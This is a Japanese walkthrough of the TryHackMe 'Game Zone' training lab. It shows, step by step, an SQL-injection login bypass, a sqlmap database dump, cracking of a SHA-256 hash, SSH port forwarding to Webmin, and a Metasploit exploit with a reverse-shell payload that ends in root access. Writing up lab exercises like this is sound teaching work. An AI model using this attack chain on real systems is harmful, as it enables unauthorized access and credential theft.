12th LAB

👩🏿‍💻TryHackMeの

今回はTryHackMeのGame Zoneを攻略していきます。

スキャニング

いつもどおり、まずはスキャニングをしてみます。

$ nmap -sV 10.10.174.192

image block

SSHとHTTPが空いていることが確認できました。

SQLインジェクションでアクセスする

TryHackmeの説明通り、SQLインジェクションを行います。

SQLインジェクションの説明はこちら

項目名
ユーザ名 'or 1=1 -- -
パスワード 空白

SELECT * FROM users WHERE username = admin AND password := ' or 1=1 -- -

image block

ログイン後、Web アプリケーションは次のページに移動します。

image block

SQLMapでデータベース情報の取得

Burp Suiteを使って検索リスクエストを取得します。このリクエストをファイルに保存します。

image block

SQLMapを使ってデータベース情報を取得します。

$ sqlmap -r game-zone-burp-req --dbms=mysql --dump

image block

SQLMap は db データベースの users テーブルから agent47 ユーザーのパスワード ハッシュをダンプしました

image block

項目名
Database db
Table users
PWD hash ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14
Username agent47

JohnTheRipper でパスワード解析する

データベースのパスワードハッシュを解析していきます。

hash-identifier を使ってハッシュの種類を確認します。

SHA-256の可能性が高そうです。

image block

ハッシュをファイルに保存し、John The Ripper でパスワード解析します。

$ john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

image block

パスワードがわかりました。

agent47 ユーザと解析したパスワードで ssh接続を試みます。

$ ssh 10.10.174.192 -l agent47

ログインできました。

image block

リバース SSH トンネルを使用したサービスの調査

image block

$ ssh -f -N -L 10000:localhost:10000 agent47@10.10.174.192

image block

http://localhost:10000/ にブラウザでアクセスします。

image block

前に見つけた認証情報を使用して Webmin にログインしてみます。

ログインすると Webminのバージョン が書かれています。

image block

Metasploit による権限昇格

Metasploit を立ち上げて、エクスプロイトを探します。

image block

検索に2つ引っかかりましたが、エクスプロイトは1つだけなのでそれを選択します。

image block

Module options の設定をします。

項目名
USERNAME agent47
PASSWORD videogamer124
RHOSTS localhost
SSL false

image block

Payload optionsの設定もします。

ペイロードがデフォルトでロードされていないので、手動で設定していきます。

show payloadsでペイロード一覧を表示させます。

今回は payload/cmd/unix/reverse を使うことにします。

項目名 備考
payload payload/cmd/unix/reverse
LHOST tun0 インターフェースの名前です。環境によって違う可能性があるため、ip aコマンドを実行して確認しましょう

image block

すべての設定が終わったら設定値を確認します。

image block

run コマンドを実行します。

image block

Session が2つ作成されたようです。

sessions コマンドでセッションを確認してみます。

image block

session2に入ります。

image block

root 権限に昇格できました。